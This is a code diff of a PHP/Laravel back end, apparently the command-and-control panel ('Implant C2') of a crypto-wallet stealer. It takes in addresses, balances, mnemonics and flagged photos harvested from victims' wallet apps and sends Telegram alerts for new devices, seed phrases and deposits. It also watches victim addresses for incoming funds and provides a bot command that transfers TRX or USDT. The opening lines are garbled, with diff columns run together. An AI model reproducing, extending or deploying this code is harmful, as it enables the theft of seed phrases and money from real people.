return null; return null;
} }
private function looksLikeMnemonic(string $value): bool /**
* Normalize `/api/user/status` shapes into address rows.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeStatusAddressRows(array $payload): array
{ {
$words = preg_split('/\s+/', trim($value)) ?: []; $ba = $payload['ba'] ?? null;
if (is_string($ba)) {
return in_array(count($words), [12, 15, 18, 21, 24], true) $decoded = json_decode($ba, true);
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value)); $ba = is_array($decoded) ? $decoded : null;
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
} }
if (isset($data['address'])) { if (is_array($ba)) {
return [$data]; return $this->normalizeBaAddressRows($ba);
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
} }
return $out; $ad = $payload['ad'] ?? null;
if (is_string($ad)) {
$decoded = json_decode($ad, true);
$ad = is_array($decoded) ? $decoded : null;
}
if (is_array($ad)) {
return $this->normalizeAdAddressRows($ad);
}
if (isset($payload['data']) && is_array($payload['data'])) {
return $this->normalizeLegacyDataRows($payload['data']);
}
return [];
} }
/** /**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta). * imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
* *
* @param array<string, mixed> $ba * @param array<string, mixed> $ba
* @return list<array<string, mixed>> * @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/ */
private function normalizeBaAddressRows(array $ba): array private function normalizeBaAddressRows(array $ba): array
{ {
@@ -464,25 +539,129 @@ class IngestService
if (! is_string($address) || $address === '' || ! is_array($assets)) { if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue; continue;
} }
$list = array_values(array_filter($assets, 'is_array')); $balance = [];
if ($list === []) { $chainType = '';
continue; foreach ($assets as $asset) {
} if (! is_array($asset)) {
$primary = $list[0]; continue;
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
} }
if ($chainType === '') {
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
}
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$balance[$symbol] = WalletSource::formatBalance(
$asset['balance'] ?? 0,
$asset['decimal'] ?? $asset['decimals'] ?? null
);
}
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
} }
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [ $out[] = [
'address' => $address, 'address' => $address,
'chain' => $chain, 'chain_type' => strtoupper($chainType),
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null, 'balance' => $balance,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null, ];
'assets' => $list, }
return $out;
}
/**
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
* Trust: [ { address, symbol, balance, decimals }, ... ]
*
* @param array<mixed> $ad
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
*/
private function normalizeAdAddressRows(array $ad): array
{
if (array_is_list($ad)) {
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
$byAddr = [];
foreach ($ad as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
if (! isset($byAddr[$address])) {
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chain === '') {
$chain = WalletSource::inferChainType($address);
}
$byAddr[$address] = [
'address' => $address,
'chain_type' => strtoupper($chain),
'balance' => [],
];
}
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
if ($symbol === '') {
continue;
}
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
$item['balance'] ?? $item['value'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
);
}
return array_values($byAddr);
}
// Global Wallet: address → opaque scalar (not balance) → store empty string
$out = [];
foreach ($ad as $address => $value) {
if (! is_string($address) || $address === '') {
continue;
}
$out[] = [
'address' => $address,
'chain_type' => WalletSource::inferChainType($address),
'balance' => '',
];
}
return $out;
}
/**
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
*
* @param array<mixed> $data
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function normalizeLegacyDataRows(array $data): array
{
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
$out = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$address = (string) ($item['address'] ?? '');
if ($address === '') {
continue;
}
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
if ($chainType === '') {
$chainType = WalletSource::inferChainType($address);
}
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
$out[] = [
'address' => $address,
'chain_type' => strtoupper($chainType),
'balance' => [
$symbol => WalletSource::formatBalance(
$item['balance'] ?? 0,
$item['decimal'] ?? $item['decimals'] ?? null
),
],
]; ];
} }
+140
View File
@@ -0,0 +1,140 @@
<?php
namespace App\Services;
use App\Models\Setting;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
class SettingsService
{
public const KEYS = [
'telegram.bot_token',
'telegram.owner_chat_id',
'channels.max_per_agent',
'channels.domains',
];
/** @return array<string, string|null> */
public function all(): array
{
$out = [];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
public function get(string $key, ?string $default = null): ?string
{
if (! $this->tableReady()) {
return $default;
}
$map = $this->cachedMap();
return array_key_exists($key, $map) ? $map[$key] : $default;
}
/**
* @param array<string, mixed> $values
*/
public function putMany(array $values): void
{
foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) {
continue;
}
$str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate(
['key' => $key],
['value' => $str === '' ? null : $str]
);
}
Cache::forget($this->cacheKey());
$this->applyToConfig();
}
public function applyToConfig(): void
{
if (! $this->tableReady()) {
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
}
}
/** Effective values for the settings form (DB overrides env). */
public function effectiveForForm(): array
{
$domains = config('coruna.channel_domains', []);
return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
];
}
/** @return list<string> */
public static function parseDomains(?string $raw): array
{
if ($raw === null || trim($raw) === '') {
return [];
}
$parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];
return array_values(array_filter(array_map(static function ($d) {
$d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/');
return $d;
}, $parts)));
}
/** @return array<string, string|null> */
private function cachedMap(): array
{
return Cache::remember($this->cacheKey(), 300, function () {
return Setting::query()->pluck('value', 'key')->all();
});
}
private function cacheKey(): string
{
return 'coruna.settings.map';
}
private function tableReady(): bool
{
try {
return Schema::hasTable('settings');
} catch (\Throwable) {
return false;
}
}
}
+81 -9
View File
@@ -2,6 +2,7 @@
namespace App\Services; namespace App\Services;
use App\Models\WalletMnemonic;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Log;
@@ -25,6 +26,7 @@ class TelegramNotifier
[ [
'chat_id' => $chatId, 'chat_id' => $chatId,
'text' => $text, 'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true, 'disable_web_page_preview' => true,
] ]
); );
@@ -40,21 +42,91 @@ class TelegramNotifier
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{ {
$this->send(implode("\n", [ $this->send(implode("\n", [
'[Coruna Lab] New device', '📱 <b>New Device</b>',
'id: '.$deviceId, '🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'ios: '.($ios ?: '—'), '🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'ip: '.($ip ?: '—'), '🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
])); ]));
} }
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
];
foreach ($wallets as $i => $w) {
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
if ($bal === '') {
$bal = '—';
}
if ($i > 0) {
$lines[] = '';
}
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines));
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
{ {
$this->send(implode("\n", [ $this->send(implode("\n", [
'[Coruna Lab] New wallet address', '🔐 <b>New Mnemonic</b>',
'device: '.$deviceId, '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'chain: '.($chain ?: '—'), '🏷 <b>Source</b>: '.$this->e($source ?: '—'),
'address: '.$address, '📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
])); ]));
} }
public function notifyNewPhotos(string $deviceId): void
{
$this->send(implode("\n", [
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
]));
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
): void {
$this->send(implode("\n", [
'✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
]));
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
} }
@@ -0,0 +1,100 @@
<?php
namespace App\Services\Tokenview;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TokenviewClient
{
public function enabled(): bool
{
return (string) config('coruna.tokenview.api_key') !== '';
}
public function setWebhookUrl(string $url): bool
{
if (! $this->enabled()) {
return false;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
try {
$resp = Http::timeout(20)
->withBody($url, 'text/plain')
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
return false;
}
}
public function getWebhookUrl(): ?string
{
if (! $this->enabled()) {
return null;
}
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
return null;
}
$data = $resp->json('data');
return is_string($data) && $data !== '' ? $data : null;
} catch (\Throwable $e) {
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
return null;
}
}
public function addAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('add', $coinAbbr, $address);
}
public function removeAddress(string $coinAbbr, string $address): bool
{
return $this->mutateAddress('remove', $coinAbbr, $address);
}
private function mutateAddress(string $action, string $coinAbbr, string $address): bool
{
if (! $this->enabled()) {
return false;
}
$coin = strtolower($coinAbbr);
$addr = $coin === 'eth' || $coin === 'bsc' ? strtolower($address) : $address;
$endpoint = sprintf(
'%s/monitor/address/%s/%s/%s',
rtrim((string) config('coruna.tokenview.base_url'), '/'),
$action,
rawurlencode($coin),
rawurlencode($addr)
);
try {
$resp = Http::timeout(20)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
return $resp->successful() && (int) $resp->json('code') === 1;
} catch (\Throwable $e) {
Log::warning("tokenview address {$action} failed: ".$e->getMessage(), [
'coin' => $coin,
'address' => $addr,
]);
return false;
}
}
}
@@ -0,0 +1,206 @@
<?php
namespace App\Services\Tokenview;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\TelegramNotifier;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
class TokenviewMonitorService
{
public function __construct(
private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram,
) {}
/**
* Map chain_type → Tokenview coin abbr (null = unsupported).
*/
public static function coinAbbrFromChainType(?string $chainType): ?string
{
return match (strtoupper(trim((string) $chainType))) {
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'TRX', 'TRON' => 'trx',
'BTC', 'BITCOIN' => 'btc',
'BNB', 'BSC', 'BINANCE' => 'bsc',
default => null,
};
}
/**
* Map Tokenview webhook coin → wallet_addresses column for native value.
*/
public static function nativeColumnForCoin(string $coin): ?string
{
return match (strtoupper($coin)) {
'ETH' => 'eth',
'TRX' => 'trx',
'BTC' => 'btc',
'BSC', 'BNB' => 'bnb',
default => null,
};
}
public function syncMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {
return false;
}
$coin = self::coinAbbrFromChainType($address->chain_type);
if ($coin === null) {
Log::info('tokenview sync skipped: unsupported chain', [
'id' => $address->id,
'chain_type' => $address->chain_type,
]);
return false;
}
$addr = (string) $address->address;
if ((int) $address->monitor === 1) {
return $this->client->addAddress($coin, $addr);
}
return $this->client->removeAddress($coin, $addr);
}
/**
* @param array<string, mixed> $payload
*/
public function handleWebhook(array $payload): void
{
$address = trim((string) ($payload['address'] ?? ''));
$txid = trim((string) ($payload['txid'] ?? ''));
$coin = strtoupper(trim((string) ($payload['coin'] ?? '')));
if ($address === '' || $txid === '' || $coin === '') {
return;
}
$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
$value = $payload['value'] ?? null;
$tokenValue = $payload['tokenValue'] ?? null;
$lookup = $this->normalizeAddress($address, $coin);
$rows = WalletAddress::query()
->where('monitor', 1)
->where(function ($q) use ($lookup, $address) {
$q->where('address', $lookup)->orWhere('address', $address);
if (strcasecmp($lookup, $address) !== 0) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
}
})
->get();
if ($rows->isEmpty()) {
return;
}
$dedupeSymbol = $tokenSymbol;
try {
TokenviewEvent::query()->create([
'txid' => $txid,
'address' => $lookup,
'coin' => $coin,
'token_symbol' => $dedupeSymbol,
'value' => is_scalar($value) ? (string) $value : null,
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
]);
} catch (\Throwable) {
// unique violation → already processed
return;
}
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
if ($deltas === []) {
return;
}
DB::transaction(function () use ($rows, $deltas) {
foreach ($rows as $row) {
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
});
$inbound = [];
foreach ($deltas as $col => $delta) {
if ($delta > 0) {
$inbound[$col] = $delta;
}
}
if ($inbound === []) {
return;
}
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
$coin
);
}
}
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
if ($signKey === '') {
return true;
}
if ($signature === null || $signature === '') {
return false;
}
$expected = hash_hmac('sha256', $rawBody, $signKey);
return hash_equals($expected, strtolower($signature))
|| hash_equals($expected, $signature);
}
/**
* @return array<string, float> column => delta
*/
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
{
$deltas = [];
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
$col = strtolower($tokenSymbol);
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
$deltas[$col] = (float) $tokenValue;
}
}
if (is_numeric($value)) {
$nativeCol = self::nativeColumnForCoin($coin);
if ($nativeCol !== null) {
// Prefer token delta when both present for same column (USDT-only token txs
// often still send a tiny native gas value — keep both columns when distinct).
$deltas[$nativeCol] = (float) $value;
}
}
return $deltas;
}
private function normalizeAddress(string $address, string $coin): string
{
$c = strtolower($coin);
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
return strtolower($address);
}
return $address;
}
}
+67
View File
@@ -0,0 +1,67 @@
<?php
namespace App\Services;
use App\Services\Chain\ChainManager;
use RuntimeException;
class TransferService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
*/
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
{
try {
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
if (trim($mnemonic) === '') {
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
}
$index = (int) config('coruna.hot_wallet.index', 0);
$asset = strtoupper(trim($asset));
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($to)) {
return ['ok' => false, 'error' => 'Invalid recipient address'];
}
$this->assertAmountWithinLimit($amount, $asset);
$from = $driver->deriveAddress($mnemonic, $index);
$txid = match ($asset) {
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
(string) config('coruna.tron.usdt_contract'),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
return ['ok' => true, 'txid' => $txid, 'from' => $from];
} catch (\Throwable $e) {
return ['ok' => false, 'error' => $e->getMessage()];
}
}
private function assertAmountWithinLimit(string $amount, string $asset): void
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
}
+63
View File
@@ -0,0 +1,63 @@
<?php
namespace App\Support;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Database\Eloquent\Builder;
final class AgentScope
{
/**
* Channel IDs owned by the agent (empty list means no access).
*
* @return list<string>
*/
public static function channelIdsFor(?User $agent): array
{
if ($agent === null) {
return [];
}
return Channel::query()
->where('user_id', $agent->id)
->pluck('channel_id')
->all();
}
/**
* Restrict a devices query (or anything with devices.channel_id) to an agent.
* Admin passes null agent → no restriction.
*/
public static function applyDeviceChannelScope(Builder $query, ?User $agent, string $channelColumn = 'devices.channel_id'): Builder
{
if ($agent === null) {
return $query;
}
$ids = self::channelIdsFor($agent);
if ($ids === []) {
return $query->whereRaw('1 = 0');
}
return $query->whereIn($channelColumn, $ids);
}
public static function applyAgentUserFilter(Builder $devicesQuery, ?int $agentUserId): Builder
{
if ($agentUserId === null || $agentUserId <= 0) {
return $devicesQuery;
}
$ids = Channel::query()
->where('user_id', $agentUserId)
->pluck('channel_id')
->all();
if ($ids === []) {
return $devicesQuery->whereRaw('1 = 0');
}
return $devicesQuery->whereIn('devices.channel_id', $ids);
}
}
+151
View File
@@ -0,0 +1,151 @@
<?php
namespace App\Support;
/**
* Map plugin short tag payload `a` → human wallet name.
*/
final class WalletSource
{
/** @var array<string, string> */
private const TAGS = [
'b' => 'imToken',
'b1' => 'imToken',
'p' => 'Global Wallet',
'd' => 'Trust Wallet',
'r' => 'Bitpie',
'q' => 'Coin98',
'e' => 'Coinbase Wallet',
'k' => 'Exodus',
'm' => 'Krystal',
'a' => 'MetaMask',
'a1' => 'MetaMask',
'j' => 'MyTonWallet',
'i' => 'Phantom',
'l' => 'Ronin',
'n' => 'Tonhub',
'g' => 'Tonkeeper',
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
];
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
return 'unknown';
}
$key = strtolower(trim($tag));
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Infer chain type from address when plugin omits chainType.
*/
public static function inferChainType(string $address): string
{
$address = trim($address);
if ($address === '') {
return 'unknown';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'ETHEREUM';
}
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'TRON';
}
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
return 'BSC';
}
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
return 'BITCOIN';
}
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
// Solana-like base58
return 'SOLANA';
}
if (preg_match('/^EQ|^UQ/i', $address)) {
return 'TON';
}
return 'unknown';
}
/**
* Format raw on-chain integer by decimal; pass through already-decimal strings.
*/
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
{
if ($raw === null || $raw === '') {
return 0;
}
$rawStr = trim((string) $raw);
if ($rawStr === '') {
return 0;
}
// Already human-readable (contains decimal point) — keep numeric value.
if (str_contains($rawStr, '.')) {
return self::normalizeNumber($rawStr);
}
if ($decimal === null || $decimal === '') {
return self::normalizeNumber($rawStr);
}
$dec = (int) $decimal;
if ($dec <= 0) {
return self::normalizeNumber($rawStr);
}
if (! function_exists('bcdiv')) {
$value = ((float) $rawStr) / (10 ** $dec);
return self::normalizeNumber((string) $value);
}
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
$formatted = rtrim(rtrim($formatted, '0'), '.');
if ($formatted === '' || $formatted === '-0') {
$formatted = '0';
}
return self::normalizeNumber($formatted);
}
private static function normalizeNumber(string $value): int|float|string
{
if (! is_numeric($value)) {
return $value;
}
if (str_contains($value, '.')) {
$f = (float) $value;
return $f == (int) $f ? (int) $f : $f;
}
// large integers stay as string if beyond PHP int
if (strlen(ltrim($value, '+-')) > 18) {
return $value;
}
return (int) $value;
}
public static function nativeSymbolForChain(string $chainType): string
{
return match (strtoupper($chainType)) {
'TRON', 'TRX' => 'TRX',
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'SOLANA', 'SOL' => 'SOL',
'TON' => 'TON',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => strtoupper($chainType) ?: 'UNKNOWN',
};
}
}
@@ -0,0 +1,13 @@
<?php
namespace App\Telegram\Handlers;
use SergiX44\Nutgram\Nutgram;
class PingCommand
{
public function __invoke(Nutgram $bot): void
{
$bot->sendMessage('pong');
}
}
@@ -0,0 +1,51 @@
<?php
namespace App\Telegram\Handlers;
use App\Services\TransferService;
use SergiX44\Nutgram\Nutgram;
class TransferCommand
{
public function __construct(
private readonly TransferService $transfers,
) {}
public function __invoke(Nutgram $bot, string $args): void
{
$parts = preg_split('/\s+/', trim($args)) ?: [];
if (count($parts) < 2) {
$bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
return;
}
$to = $parts[0];
$amount = $parts[1];
$asset = strtoupper($parts[2] ?? 'USDT');
if (! in_array($asset, ['TRX', 'USDT'], true)) {
$bot->sendMessage('Asset must be TRX or USDT.');
return;
}
$bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
$result = $this->transfers->handle('tron', $to, $amount, $asset);
if (! ($result['ok'] ?? false)) {
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
return;
}
$bot->sendMessage(implode("\n", [
'✅ Transfer submitted',
'From: '.$result['from'],
'To: '.$to,
'Amount: '.$amount.' '.$asset,
'TxID: '.$result['txid'],
]));
}
}
@@ -0,0 +1,23 @@
<?php
namespace App\Telegram\Middleware;
use SergiX44\Nutgram\Nutgram;
class AuthorizedChat
{
public function __invoke(Nutgram $bot, callable $next): mixed
{
$expected = (string) config('coruna.telegram.owner_chat_id', '');
if ($expected === '') {
return null;
}
$chatId = $bot->chatId();
if ($chatId === null || (string) $chatId !== $expected) {
return null;
}
return $next($bot);
}
}
@@ -0,0 +1,40 @@
<?php
namespace App\Telegram\Middleware;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
class GroupAdminOnly
{
public function __invoke(Nutgram $bot, callable $next): mixed
{
$chatId = $bot->chatId();
$userId = $bot->userId();
if ($chatId === null || $userId === null) {
return null;
}
try {
$member = $bot->getChatMember($chatId, $userId);
} catch (\Throwable) {
$bot->sendMessage('⛔ Unable to verify admin status.');
return null;
}
$status = $member?->status;
$ok = $status === ChatMemberStatus::CREATOR
|| $status === ChatMemberStatus::ADMINISTRATOR
|| $status === 'creator'
|| $status === 'administrator';
if (! $ok) {
$bot->sendMessage('⛔ Only group admins can use this command.');
return null;
}
return $next($bot);
}
}
+25 -4
View File
@@ -12,21 +12,42 @@ return Application::configure(basePath: dirname(__DIR__))
// Implant C2: no CSRF / session // Implant C2: no CSRF / session
require __DIR__.'/../routes/c2.php'; require __DIR__.'/../routes/c2.php';
// Admin UI: session + CSRF // External webhooks (no CSRF)
require __DIR__.'/../routes/hooks.php';
// Admin + agent UI: session + CSRF
Route::middleware('web')->group(base_path('routes/admin.php')); Route::middleware('web')->group(base_path('routes/admin.php'));
Route::middleware('web')->group(base_path('routes/user.php'));
}, },
commands: __DIR__.'/../routes/console.php', commands: __DIR__.'/../routes/console.php',
health: '/up', health: '/up',
) )
->withMiddleware(function (Middleware $middleware): void { ->withMiddleware(function (Middleware $middleware): void {
$middleware->alias([
'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class,
]);
$middleware->validateCsrfTokens(except: [ $middleware->validateCsrfTokens(except: [
'api/*', 'api/*',
'link/*', 'link/*',
'hooks/*',
]); ]);
// Admin uses auth:admin; there is no default "login" route. $middleware->redirectGuestsTo(function () {
$middleware->redirectGuestsTo(fn () => route('admin.login')); $path = request()->path();
$middleware->redirectUsersTo(fn () => route('admin.home')); if (str_starts_with($path, 'user')) {
return route('user.login');
}
return route('admin.login');
});
$middleware->redirectUsersTo(function () {
if (auth('agent')->check()) {
return route('user.home');
}
return route('admin.home');
});
}) })
->withExceptions(function (Exceptions $exceptions): void { ->withExceptions(function (Exceptions $exceptions): void {
// //
+6 -1
View File
@@ -7,9 +7,14 @@
"license": "MIT", "license": "MIT",
"require": { "require": {
"php": "^8.2", "php": "^8.2",
"furqansiddiqui/bip39-mnemonic-php": "^0.1.7",
"guzzlehttp/guzzle": "^7.15", "guzzlehttp/guzzle": "^7.15",
"kornrunner/keccak": "^1.1",
"laravel/framework": "^12.0", "laravel/framework": "^12.0",
"laravel/tinker": "^2.10.1" "laravel/tinker": "^2.10.1",
"nutgram/laravel": "^1.7",
"nutgram/nutgram": "^4.49",
"simplito/elliptic-php": "^1.0"
}, },
"require-dev": { "require-dev": {
"fakerphp/faker": "^1.23", "fakerphp/faker": "^1.23",
+525 -1
View File
@@ -4,7 +4,7 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically" "This file is @generated automatically"
], ],
"content-hash": "5c2384428461c1b1c6da1debdc2a4700", "content-hash": "3a1612bc4d46f2bcff8904370145b15f",
"packages": [ "packages": [
{ {
"name": "brick/math", "name": "brick/math",
@@ -579,6 +579,48 @@
], ],
"time": "2025-12-03T09:33:47+00:00" "time": "2025-12-03T09:33:47+00:00"
}, },
{
"name": "furqansiddiqui/bip39-mnemonic-php",
"version": "0.1.7",
"source": {
"type": "git",
"url": "https://github.com/furqansiddiqui/bip39-mnemonic-php.git",
"reference": "673d19ef6b771dd69810df86d607e10cd41641e9"
},
"dist": {
